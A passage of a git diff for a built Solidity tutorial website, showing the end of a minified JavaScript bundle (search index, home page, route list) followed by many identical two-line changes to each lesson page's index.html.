"defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},jg=[];for(const s of Object.keys(vo))jg.push(...vo[s]);const Ag={};for(const s of jg)kB(Ag,s);function J1(s){return Array.from(new Set(s))}function z1(s){const a=[],n=WB(Ag,s.toLowerCase());for(const l of n)Xo[l]&&a.push(...Xo[l]);return a}const D1="_component_ri31z_1",E1="_updates_ri31z_8",Q1="_category_ri31z_13",T1="_search_ri31z_16",U1="_listItem_ri31z_20",_1="_label_ri31z_28",L1="_header_ri31z_31",O1="_youTube_ri31z_34",P1="_youTubeLogo_ri31z_40",$1="_cryptoJobsList_ri31z_44",q1="_cryptoJobsListLogo_ri31z_50",as={component:D1,updates:E1,category:Q1,search:T1,listItem:U1,label:_1,header:L1,youTube:O1,youTubeLogo:P1,cryptoJobsList:$1,cryptoJobsListLogo:q1},sY=["2024/04/19 - EVM memory","2024/04/07 - Fix WETH permit hack","2024/04/06 - EVM storage"];function aY(){const[s,a]=B.useState(""),[n,l]=xd(),[p,e]=B.useState(null);B.useEffect(()=>{const I=n.get("q");I!=null&&I.length>0&&(a(I),c(I,!1))},[]);function c(I,d){const j=I.trim();if(j.length==0){e(null),d&&l({q:""});return}const u=J1(j.split(" ")),m={};for(const b of u){const Z=z1(b);for(const h of Z)m[h]=!0}e(m),d&&l({q:j})}const t=wB(I=>c(I,!0),500,[]);function o(I){a(I),t(I)}function i(){return p?Object.keys(p).length==0?r.jsx("div",{children:"No results"}):r.jsx("ul",{className:as.list,children:Cp.filter(({path:I})=>p[I]).map(({path:I,title:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:I,children:d})},I))}):r.jsxs(r.Fragment,{children:[tt.map(({routes:I,title:d},j)=>r.jsxs("div",{children:[d&&r.jsx("h3",{className:as.category,children:d}),r.jsx("ul",{className:as.list,children:I.map(({path:u,title:m})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:u,children:m})},u))})]},j)),r.jsxs("div",{children:[r.jsx("h3",{className:as.category,children:"Translations"}),Od.map(({lang:I,url:d})=>r.jsx("li",{className:as.listItem,children:r.jsx("a",{href:d,target:"__blank",children:I})},d))]})]})}return r.jsxs("div",{className:as.component,children:[r.jsx(Cg,{title:"Solidity by Example | 0.8.24",description:"Learn smart contract programming using Solidity"}),r.jsx("h1",{className:as.header,children:r.jsx("a",{href:"/",children:"Solidity by Example"})}),r.jsx("div",{className:as.subHeader,children:"v 0.8.24"}),r.jsxs("div",{className:as.main,children:[r.jsxs("p",{children:["Introduction to ",r.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),r.jsxs("div",{className:as.youTube,children:[r.jsx("img",{src:dg,alt:"logo",className:as.youTubeLogo}),r.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained here"})]}),r.jsxs("div",{className:as.cryptoJobsList,children:[r.jsx(aB,{size:24,className:as.cryptoJobsListLogo}),r.jsx("a",{href:Ig,target:"__blank",children:"Looking for Solidity jobs?"})]}),r.jsx("div",{className:as.updates,children:sY.map((I,d)=>r.jsx("div",{children:I},d))}),r.jsx("div",{className:as.search,children:r.jsx(sB,{value:s,onChange:o})}),i()]})]})}const nY=[{path:"/abi-decode",component:DC},{path:"/abi-encode",component:LC},{path:"/app/assembly-bin-exp",component:aj},{path:"/app/bi-directional-payment-channel",component:tj},{path:"/app/create2",component:Ij},{path:"/app/crowd-fund",component:yj},{path:"/app/deploy-any-contract",component:Wj},{path:"/app/dutch-auction",component:Rj},{path:"/app/english-auction",component:Kj},{path:"/app/erc1155",component:Dj},{path:"/app/erc20",component:Lj},{path:"/app/erc721",component:aA},{path:"/app/ether-wallet",component:tA},{path:"/app/gasless-token-transfer",component:IA},{path:"/app/iterable-mapping",component:yA},{path:"/app/merkle-tree",component:WA},{path:"/app/minimal-proxy",component:RA},{path:"/app/multi-call",component:KA},{path:"/app/multi-delegatecall",component:DA},{path:"/app/multi-sig-wallet",component:LA},{path:"/app/simple-bytecode-contract",component:au},{path:"/app/time-lock",component:tu},{path:"/app/uni-directional-payment-channel",component:Iu},{path:"/app/upgradeable-proxy",component:yu},{path:"/app/write-to-any-slot",component:Wu},{path:"/array",component:Ru},{path:"/assembly-error",component:Ku},{path:"/assembly-if",component:Du},{path:"/assembly-loop",component:Lu},{path:"/assembly-math",component:ay},{path:"/assembly-variable",component:ty},{path:"/bitwise",component:Iy},{path:"/call",component:yy},{path:"/calling-contract",component:Wy},{path:"/constants",component:Ry},{path:"/constructor",component:Ky},{path:"/data-locations",component:Dy},{path:"/defi/chainlink-price-oracle",component:Ly},{path:"/defi/constant-product-amm",component:am},{path:"/defi/constant-sum-amm",component:tm},{path:"/defi/dai-proxy",component:Im},{path:"/defi/discrete-staking-rewards",component:ym},{path:"/defi/stable-swap-amm",component:Wm},{path:"/defi/staking-rewards",component:Rm},{path:"/defi/uniswap-v2",component:Km},{path:"/defi/uniswap-v2-add-remove-liquidity",component:Dm},{path:"/defi/uniswap-v2-flash-swap",component:Lm},{path:"/defi/uniswap-v2-optimal-one-sided-supply",component:ab},{path:"/defi/uniswap-v3-flash",component:tb},{path:"/defi/uniswap-v3-flash-swap",component:Ib},{path:"/defi/uniswap-v3-liquidity",component:yb},{path:"/defi/uniswap-v3-swap",component:Wb},{path:"/defi/vault",component:Rb},{path:"/delegatecall",component:Kb},{path:"/enum",component:Db},{path:"/error",component:Lb},{path:"/ether-units",component:aw},{path:"/events",component:tw},{path:"/evm/memory",component:Iw},{path:"/evm/storage",component:yw},{path:"/fallback",component:Ww},{path:"/first-app",component:Rw},{path:"/function",component:Kw},{path:"/function-modifier",component:Dw},{path:"/function-selector",component:Lw},{path:"/gas",component:ak},{path:"/gas-golf",component:tk},{path:"/hacks/accessing-private-data",component:Ik},{path:"/hacks/block-timestamp-manipulation",component:yk},{path:"/hacks/contract-size",component:Wk},{path:"/hacks/delegatecall",component:Rk},{path:"/hacks/denial-of-service",component:Kk},{path:"/hacks/deploy-different-contracts-same-address",component:Dk},{path:"/hacks/front-running",component:Lk},{path:"/hacks/hiding-malicious-code-with-external-contract",component:a0},{path:"/hacks/honeypot",component:t0},{path:"/hacks/overflow",component:I0},{path:"/hacks/phishing-with-tx-origin",component:y0},{path:"/hacks/randomness",component:W0},{path:"/hacks/re-entrancy",component:R0},{path:"/hacks/self-destruct",component:K0},{path:"/hacks/signature-replay",component:D0},{path:"/hacks/vault-inflation",component:L0},{path:"/hacks/weth-permit",component:aZ},{path:"/hashing",component:tZ},{path:"/hello-world",component:IZ},{path:"/if-else",component:yZ},{path:"/immutable",component:WZ},{path:"/import",component:RZ},{path:"/inheritance",component:KZ},{path:"/interface",component:DZ},{path:"/library",component:LZ},{path:"/loop",component:aW},{path:"/mapping",component:tW},{path:"/new-contract",component:IW},{path:"/payable",component:yW},{path:"/primitives",component:WW},{path:"/sending-ether",component:RW},{path:"/shadowing-inherited-state-variables",component:KW},{path:"/signature",component:DW},{path:"/state-variables",component:LW},{path:"/structs",component:a2},{path:"/super",component:t2},{path:"/tests/echidna",component:I2},{path:"/transient-storage",component:y2},{path:"/try-catch",component:W2},{path:"/unchecked-math",component:R2},{path:"/variables",component:K2},{path:"/view-and-pure-functions",component:D2},{path:"/visibility",component:L2},{path:"",component:aY}];var lY={BASE_URL:"/",MODE:"production",DEV:!1,PROD:!0,SSR:!1};function No(){const{state:s,init:a}=et();return B.useLayoutEffect(()=>{a({width:window.document.body.clientWidth})},[]),s.initialized?r.jsx(Sd,{basename:lY.VITE_PUBLIC_URL,children:r.jsx(RC,{children:r.jsx(Hd,{children:nY.map(n=>{const{prev:l,next:p}=pC(n.path);return r.jsx(hg,{path:n.path,element:To.createElement(n.component,{prev:l,next:p})},n.path)})})})}):null}const pY=document.getElementById("root"),eY=$i(pY),Ho=document.getElementById("root");Ho.hasChildNodes()?Pi(Ho,r.jsx(mo,{children:r.jsx(No,{})})):eY.render(r.jsx(mo,{children:r.jsx(No,{})})); diff --git a/assets/telegram-zGrx4xca.png b/assets/telegram-DMavHjFx.png similarity index 100% rename from assets/telegram-zGrx4xca.png rename to assets/telegram-DMavHjFx.png diff --git a/bitwise/index.html b/bitwise/index.html index e22950008..addbfd057 100644 --- a/bitwise/index.html +++ b/bitwise/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/call/index.html b/call/index.html index e22950008..addbfd057 100644 --- a/call/index.html +++ b/call/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/calling-contract/index.html b/calling-contract/index.html index e22950008..addbfd057 100644 --- a/calling-contract/index.html +++ b/calling-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constants/index.html b/constants/index.html index e22950008..addbfd057 100644 --- a/constants/index.html +++ b/constants/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/constructor/index.html b/constructor/index.html index e22950008..addbfd057 100644 --- a/constructor/index.html +++ b/constructor/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/data-locations/index.html b/data-locations/index.html index e22950008..addbfd057 100644 --- a/data-locations/index.html +++ b/data-locations/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/chainlink-price-oracle/index.html b/defi/chainlink-price-oracle/index.html index e22950008..addbfd057 100644 --- a/defi/chainlink-price-oracle/index.html +++ b/defi/chainlink-price-oracle/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-product-amm/index.html b/defi/constant-product-amm/index.html index e22950008..addbfd057 100644 --- a/defi/constant-product-amm/index.html +++ b/defi/constant-product-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/constant-sum-amm/index.html b/defi/constant-sum-amm/index.html index e22950008..addbfd057 100644 --- a/defi/constant-sum-amm/index.html +++ b/defi/constant-sum-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/dai-proxy/index.html b/defi/dai-proxy/index.html index e22950008..addbfd057 100644 --- a/defi/dai-proxy/index.html +++ b/defi/dai-proxy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/discrete-staking-rewards/index.html b/defi/discrete-staking-rewards/index.html index e22950008..addbfd057 100644 --- a/defi/discrete-staking-rewards/index.html +++ b/defi/discrete-staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/stable-swap-amm/index.html b/defi/stable-swap-amm/index.html index e22950008..addbfd057 100644 --- a/defi/stable-swap-amm/index.html +++ b/defi/stable-swap-amm/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/staking-rewards/index.html b/defi/staking-rewards/index.html index e22950008..addbfd057 100644 --- a/defi/staking-rewards/index.html +++ b/defi/staking-rewards/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-add-remove-liquidity/index.html b/defi/uniswap-v2-add-remove-liquidity/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v2-add-remove-liquidity/index.html +++ b/defi/uniswap-v2-add-remove-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-flash-swap/index.html b/defi/uniswap-v2-flash-swap/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v2-flash-swap/index.html +++ b/defi/uniswap-v2-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2-optimal-one-sided-supply/index.html b/defi/uniswap-v2-optimal-one-sided-supply/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v2-optimal-one-sided-supply/index.html +++ b/defi/uniswap-v2-optimal-one-sided-supply/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v2/index.html b/defi/uniswap-v2/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v2/index.html +++ b/defi/uniswap-v2/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash-swap/index.html b/defi/uniswap-v3-flash-swap/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v3-flash-swap/index.html +++ b/defi/uniswap-v3-flash-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-flash/index.html b/defi/uniswap-v3-flash/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v3-flash/index.html +++ b/defi/uniswap-v3-flash/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-liquidity/index.html b/defi/uniswap-v3-liquidity/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v3-liquidity/index.html +++ b/defi/uniswap-v3-liquidity/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/uniswap-v3-swap/index.html b/defi/uniswap-v3-swap/index.html index e22950008..addbfd057 100644 --- a/defi/uniswap-v3-swap/index.html +++ b/defi/uniswap-v3-swap/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/defi/vault/index.html b/defi/vault/index.html index e22950008..addbfd057 100644 --- a/defi/vault/index.html +++ b/defi/vault/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/delegatecall/index.html b/delegatecall/index.html index e22950008..addbfd057 100644 --- a/delegatecall/index.html +++ b/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/enum/index.html b/enum/index.html index e22950008..addbfd057 100644 --- a/enum/index.html +++ b/enum/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/error/index.html b/error/index.html index e22950008..addbfd057 100644 --- a/error/index.html +++ b/error/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/ether-units/index.html b/ether-units/index.html index e22950008..addbfd057 100644 --- a/ether-units/index.html +++ b/ether-units/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/events/index.html b/events/index.html index e22950008..addbfd057 100644 --- a/events/index.html +++ b/events/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/evm/memory/index.html b/evm/memory/index.html index e22950008..addbfd057 100644 --- a/evm/memory/index.html +++ b/evm/memory/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/evm/storage/index.html b/evm/storage/index.html index e22950008..addbfd057 100644 --- a/evm/storage/index.html +++ b/evm/storage/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/fallback/index.html b/fallback/index.html index e22950008..addbfd057 100644 --- a/fallback/index.html +++ b/fallback/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/first-app/index.html b/first-app/index.html index e22950008..addbfd057 100644 --- a/first-app/index.html +++ b/first-app/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-modifier/index.html b/function-modifier/index.html index e22950008..addbfd057 100644 --- a/function-modifier/index.html +++ b/function-modifier/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function-selector/index.html b/function-selector/index.html index e22950008..addbfd057 100644 --- a/function-selector/index.html +++ b/function-selector/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/function/index.html b/function/index.html index e22950008..addbfd057 100644 --- a/function/index.html +++ b/function/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas-golf/index.html b/gas-golf/index.html index e22950008..addbfd057 100644 --- a/gas-golf/index.html +++ b/gas-golf/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/gas/index.html b/gas/index.html index e22950008..addbfd057 100644 --- a/gas/index.html +++ b/gas/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/accessing-private-data/index.html b/hacks/accessing-private-data/index.html index e22950008..addbfd057 100644 --- a/hacks/accessing-private-data/index.html +++ b/hacks/accessing-private-data/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/block-timestamp-manipulation/index.html b/hacks/block-timestamp-manipulation/index.html index e22950008..addbfd057 100644 --- a/hacks/block-timestamp-manipulation/index.html +++ b/hacks/block-timestamp-manipulation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/contract-size/index.html b/hacks/contract-size/index.html index e22950008..addbfd057 100644 --- a/hacks/contract-size/index.html +++ b/hacks/contract-size/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/delegatecall/index.html b/hacks/delegatecall/index.html index e22950008..addbfd057 100644 --- a/hacks/delegatecall/index.html +++ b/hacks/delegatecall/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/denial-of-service/index.html b/hacks/denial-of-service/index.html index e22950008..addbfd057 100644 --- a/hacks/denial-of-service/index.html +++ b/hacks/denial-of-service/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/deploy-different-contracts-same-address/index.html b/hacks/deploy-different-contracts-same-address/index.html index e22950008..addbfd057 100644 --- a/hacks/deploy-different-contracts-same-address/index.html +++ b/hacks/deploy-different-contracts-same-address/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/front-running/index.html b/hacks/front-running/index.html index e22950008..addbfd057 100644 --- a/hacks/front-running/index.html +++ b/hacks/front-running/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/hiding-malicious-code-with-external-contract/index.html b/hacks/hiding-malicious-code-with-external-contract/index.html index e22950008..addbfd057 100644 --- a/hacks/hiding-malicious-code-with-external-contract/index.html +++ b/hacks/hiding-malicious-code-with-external-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/honeypot/index.html b/hacks/honeypot/index.html index e22950008..addbfd057 100644 --- a/hacks/honeypot/index.html +++ b/hacks/honeypot/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/overflow/index.html b/hacks/overflow/index.html index e22950008..addbfd057 100644 --- a/hacks/overflow/index.html +++ b/hacks/overflow/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/phishing-with-tx-origin/index.html b/hacks/phishing-with-tx-origin/index.html index e22950008..addbfd057 100644 --- a/hacks/phishing-with-tx-origin/index.html +++ b/hacks/phishing-with-tx-origin/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/randomness/index.html b/hacks/randomness/index.html index e22950008..addbfd057 100644 --- a/hacks/randomness/index.html +++ b/hacks/randomness/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/re-entrancy/index.html b/hacks/re-entrancy/index.html index e22950008..addbfd057 100644 --- a/hacks/re-entrancy/index.html +++ b/hacks/re-entrancy/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/self-destruct/index.html b/hacks/self-destruct/index.html index e22950008..addbfd057 100644 --- a/hacks/self-destruct/index.html +++ b/hacks/self-destruct/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/signature-replay/index.html b/hacks/signature-replay/index.html index e22950008..addbfd057 100644 --- a/hacks/signature-replay/index.html +++ b/hacks/signature-replay/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/vault-inflation/index.html b/hacks/vault-inflation/index.html index e22950008..addbfd057 100644 --- a/hacks/vault-inflation/index.html +++ b/hacks/vault-inflation/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hacks/weth-permit/index.html b/hacks/weth-permit/index.html index e22950008..addbfd057 100644 --- a/hacks/weth-permit/index.html +++ b/hacks/weth-permit/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hashing/index.html b/hashing/index.html index e22950008..addbfd057 100644 --- a/hashing/index.html +++ b/hashing/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/hello-world/index.html b/hello-world/index.html index e22950008..addbfd057 100644 --- a/hello-world/index.html +++ b/hello-world/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/if-else/index.html b/if-else/index.html index e22950008..addbfd057 100644 --- a/if-else/index.html +++ b/if-else/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/immutable/index.html b/immutable/index.html index e22950008..addbfd057 100644 --- a/immutable/index.html +++ b/immutable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/import/index.html b/import/index.html index e22950008..addbfd057 100644 --- a/import/index.html +++ b/import/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/index.html b/index.html index e22950008..addbfd057 100644 --- a/index.html +++ b/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/inheritance/index.html b/inheritance/index.html index e22950008..addbfd057 100644 --- a/inheritance/index.html +++ b/inheritance/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/interface/index.html b/interface/index.html index e22950008..addbfd057 100644 --- a/interface/index.html +++ b/interface/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/library/index.html b/library/index.html index e22950008..addbfd057 100644 --- a/library/index.html +++ b/library/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/loop/index.html b/loop/index.html index e22950008..addbfd057 100644 --- a/loop/index.html +++ b/loop/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/mapping/index.html b/mapping/index.html index e22950008..addbfd057 100644 --- a/mapping/index.html +++ b/mapping/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/new-contract/index.html b/new-contract/index.html index e22950008..addbfd057 100644 --- a/new-contract/index.html +++ b/new-contract/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/payable/index.html b/payable/index.html index e22950008..addbfd057 100644 --- a/payable/index.html +++ b/payable/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/primitives/index.html b/primitives/index.html index e22950008..addbfd057 100644 --- a/primitives/index.html +++ b/primitives/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/sending-ether/index.html b/sending-ether/index.html index e22950008..addbfd057 100644 --- a/sending-ether/index.html +++ b/sending-ether/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/shadowing-inherited-state-variables/index.html b/shadowing-inherited-state-variables/index.html index e22950008..addbfd057 100644 --- a/shadowing-inherited-state-variables/index.html +++ b/shadowing-inherited-state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/signature/index.html b/signature/index.html index e22950008..addbfd057 100644 --- a/signature/index.html +++ b/signature/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/state-variables/index.html b/state-variables/index.html index e22950008..addbfd057 100644 --- a/state-variables/index.html +++ b/state-variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/structs/index.html b/structs/index.html index e22950008..addbfd057 100644 --- a/structs/index.html +++ b/structs/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/super/index.html b/super/index.html index e22950008..addbfd057 100644 --- a/super/index.html +++ b/super/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/tests/echidna/index.html b/tests/echidna/index.html index e22950008..addbfd057 100644 --- a/tests/echidna/index.html +++ b/tests/echidna/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/transient-storage/index.html b/transient-storage/index.html index e22950008..addbfd057 100644 --- a/transient-storage/index.html +++ b/transient-storage/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/try-catch/index.html b/try-catch/index.html index e22950008..addbfd057 100644 --- a/try-catch/index.html +++ b/try-catch/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/unchecked-math/index.html b/unchecked-math/index.html index e22950008..addbfd057 100644 --- a/unchecked-math/index.html +++ b/unchecked-math/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/variables/index.html b/variables/index.html index e22950008..addbfd057 100644 --- a/variables/index.html +++ b/variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/view-and-pure-functions/index.html b/view-and-pure-functions/index.html index e22950008..addbfd057 100644 --- a/view-and-pure-functions/index.html +++ b/view-and-pure-functions/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/visibility/index.html b/visibility/index.html index e22950008..addbfd057 100644 --- a/visibility/index.html +++ b/visibility/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + +